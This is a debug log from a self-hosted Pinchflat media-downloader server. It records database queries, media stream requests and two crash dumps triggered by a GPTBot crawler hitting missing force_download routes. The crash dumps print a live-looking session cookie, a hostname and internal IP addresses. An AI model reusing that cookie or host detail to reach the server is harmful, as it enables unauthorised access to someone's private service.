s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 02:34:27.686 [debug] QUERY OK source="settings" db=0.3ms idle=528.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:27.687 [debug] QUERY OK source="settings" db=0.2ms idle=529.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:27.688 [debug] QUERY OK source="settings" db=0.2ms idle=530.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:34:27.690 [info] Sent 200 in 7ms 02:34:43.854 [info] {"source":"oban","duration":1063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:48.985 [info] GET /media/05673574-c03b-471c-844f-372f6f97df87/stream 02:34:48.985 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "05673574-c03b-471c-844f-372f6f97df87", "v" => "1759689720"} Pipelines: [:maybe_basic_auth] 02:34:48.986 [debug] QUERY OK source="media_items" db=0.4ms idle=1828.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["05673574-c03b-471c-844f-372f6f97df87"] 02:34:48.986 [debug] Invalid range request for media item: 05673574-c03b-471c-844f-372f6f97df87 - serving full file 02:34:48.986 [info] Sent 200 in 1ms 02:35:00.261 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:09.190 [info] GET /media/74f38b02-01fa-497d-89a1-29ab5f03821e/stream 02:35:09.190 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "74f38b02-01fa-497d-89a1-29ab5f03821e", "v" => "1728161375"} Pipelines: [:maybe_basic_auth] 02:35:09.204 [debug] QUERY OK source="media_items" db=14.0ms idle=1033.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["74f38b02-01fa-497d-89a1-29ab5f03821e"] 02:35:09.205 [debug] Invalid range request for media item: 74f38b02-01fa-497d-89a1-29ab5f03821e - serving full file 02:35:09.205 [info] Sent 200 in 15ms 02:35:13.856 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:29.533 [info] GET /media/936f76d6-e7df-4082-8f49-f457f16f0b91/stream 02:35:29.534 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "936f76d6-e7df-4082-8f49-f457f16f0b91", "v" => "1761554322"} Pipelines: [:maybe_basic_auth] 02:35:29.535 [debug] QUERY OK source="media_items" db=0.6ms idle=690.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["936f76d6-e7df-4082-8f49-f457f16f0b91"] 02:35:29.535 [debug] Invalid range request for media item: 936f76d6-e7df-4082-8f49-f457f16f0b91 - serving full file 02:35:29.536 [info] Sent 200 in 2ms 02:35:43.858 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.262 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:02.363 [info] GET /media/89d183c2-7aeb-4916-91c0-4dbde8a94382/stream 02:36:02.363 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "89d183c2-7aeb-4916-91c0-4dbde8a94382", "v" => "1728528921"} Pipelines: [:maybe_basic_auth] 02:36:02.364 [debug] QUERY OK source="media_items" db=0.4ms idle=1206.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["89d183c2-7aeb-4916-91c0-4dbde8a94382"] 02:36:02.364 [debug] Invalid range request for media item: 89d183c2-7aeb-4916-91c0-4dbde8a94382 - serving full file 02:36:02.364 [info] Sent 200 in 1ms 02:36:13.860 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:42.945 [info] GET /media/7dd9e6a3-427b-4201-8838-e1ddc477b46f/stream 02:36:42.946 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "7dd9e6a3-427b-4201-8838-e1ddc477b46f", "v" => "1728161209"} Pipelines: [:maybe_basic_auth] 02:36:42.947 [debug] QUERY OK source="media_items" db=0.7ms idle=1789.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["7dd9e6a3-427b-4201-8838-e1ddc477b46f"] 02:36:42.947 [debug] Invalid range request for media item: 7dd9e6a3-427b-4201-8838-e1ddc477b46f - serving full file 02:36:42.947 [info] Sent 200 in 2ms 02:36:43.862 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:48.523 [info] GET /sources/1/media/3 02:36:48.523 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 02:36:48.524 [debug] QUERY OK source="media_items" db=0.4ms idle=1366.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3] 02:36:48.525 [debug] QUERY OK source="tasks" db=0.3ms idle=1368.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3] 02:36:48.525 [debug] QUERY OK source="sources" db=0.6ms idle=1368.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:36:48.526 [debug] QUERY OK source="settings" db=0.3ms idle=521.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:36:48.527 [debug] QUERY OK source="settings" db=0.3ms idle=369.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:36:48.528 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:36:48.529 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:36:48.532 [info] Sent 200 in 9ms 02:37:00.160 [info] GET /sources/1/media/12/force_download 02:37:00.161 [debug] QUERY OK source="settings" db=0.2ms idle=129.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:00.161 [debug] QUERY OK source="settings" db=0.3ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:00.162 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:37:00.162 [error] #PID<0.239602.0> running PinchflatWeb.Endpoint (connection #PID<0.239601.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/12/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43686}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239602.0>, params: %{}, path_info: ["sources", "1", "media", "12", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/12/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAfnqTdcDa1ZhMABbJD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43686}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/12/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239601.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/12/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43686}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-ho (truncated) 02:37:00.263 [info] {"source":"oban","duration":325,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:13.864 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:15.414 [info] GET /sources/1/media/10/force_download 02:37:15.415 [debug] QUERY OK source="settings" db=0.3ms idle=1257.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:15.416 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1258.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:15.416 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:37:15.416 [error] #PID<0.239605.0> running PinchflatWeb.Endpoint (connection #PID<0.239604.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/10/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/10/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/10/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59348}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239605.0>, params: %{}, path_info: ["sources", "1", "media", "10", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/10/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAfojIQ4d4cjRYABbKD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/10/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59348}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/10/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239604.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/10/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59348}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUXFCdmRhWHJWWkg1b2NHRFRaQ245NDVq.mjN9IV4s_v9dDPTlGmxIGVWPC0ijhifNcQHgfDHgwtg", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-ho (truncated) 02:37:43.866 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.264 [info] 